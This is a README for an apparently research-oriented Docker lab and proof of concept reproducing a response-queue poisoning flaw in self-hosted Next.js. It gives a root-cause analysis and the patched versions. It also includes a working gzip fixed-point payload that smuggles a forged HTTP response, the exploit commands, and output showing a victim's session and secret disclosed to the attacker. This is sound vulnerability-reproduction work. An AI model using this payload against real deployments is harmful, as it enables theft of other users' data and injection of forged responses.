
Docker dual-lab and standalone differential PoC for CVE-2026-119348, a stale compressed-framing response-queue poisoning flaw in self-hosted Next.js.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (Moderate) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Product: Vercel Next.js (next), self-hosted (next start)
This repository contains a complete, deterministic reproduction (docker lab + standalone exploit) of the cross-client response injection and disclosure vulnerability fixed in the November 2026 Next.js security release. No public PoC existed at the time this lab was built (checked 2026-11-20: GitHub repo/code search for the CVE and GHSA ids → 0 hits).
Node's fetch (undici) transparently decompresses a content-encoding: gzip body but
preserves the original response headers, including content-length: <compressed-size>.
When a self-hosted Next.js application returns such a fetched upstream Response
unchanged — from an App Router route handler, a fetch-cache entry, or Node-runtime
middleware — vulnerable versions of Next forward the stale compressed framing to the
client while streaming the longer, decompressed body:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js writes body bytes beyond the declared Content-Length without any error and keeps
the keep-alive connection open. Any HTTP/1.1 reverse proxy that queues pipelined requests
on a shared backend connection (the precondition named by the advisory — e.g. HAProxy
http-reuse always, various Node.js-based proxies) demultiplexes backend responses strictly
by the declared framing. The overflow bytes are therefore parsed as the next response in
the queue:
| Branch | Vulnerable | Patched |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
In vercel/next.js at tag v16.4.4:
packages/next/src/server/send-response.ts:24-70 — sendResponse() appends every
header of the handler's Response (only x-middleware-set-cookie is skipped) and then
pipes the decoded body. The forwarded content-length / content-encoding /
transfer-encoding describe the encoded body that undici already decoded.packages/next/src/server/next-server.ts:2009-2012 — the middleware response loop skips
only content-encoding, still copying the stale content-length /
transfer-encoding.packages/next/src/server/web/sandbox/sandbox.ts:23)
already deleted those three headers — the hole was in the Node-runtime paths.Fix (v16.4.5, commit
2842833,
15.x: 848ec29):
both forwarding paths now drop content-length, content-encoding and transfer-encoding
(FORBIDDEN_HEADERS), so Node.js frames the decoded body correctly with
transfer-encoding: chunked.
next start) — not affected on the Vercel platform.Response unchanged (any
forwarding/relay pattern: return fetch(url)), directly or through the fetch cache.No authentication, no user interaction.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
The malicious upstream payload (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
with n chosen so that n == len(gzip(P)) (a fixed point, n = 70 here, decoded = 116 B).
The app therefore emits a response whose declared Content-Length: 70 covers only the A
prefix, and the 46 trailing bytes are a fully-formed forged HTTP response.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py is standalone (Python 3, standard library only). Each round queues three requests
on the shared backend connection:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response
[vuln] mode=proxy injection=True disclosure=True victim_got_own=False attacker_got_home=False
victim response : HTTP/1.1 200 OK | body: injected
attacker follow-up : HTTP/1.1 200 OK | body: { "user": "alice", "session": "session=victim-alice-7f3a9c",
"secret": "VICTIM_SECRET-sk-live-9f8e7d6c5b4a3210", …
[vuln] mode=proxy-cached injection=True disclosure=True … ← same via the fetch cache
[fixed] mode=proxy injection=False disclosure=False victim_got_own=True attacker_got_home=True
[fixed] mode=proxy-cached injection=False disclosure=False …
RESULT: exploit_worked_on_vuln = True | exploit_failed_on_fixed = True
Raw framing captured by the probe (direct against the apps, no proxy):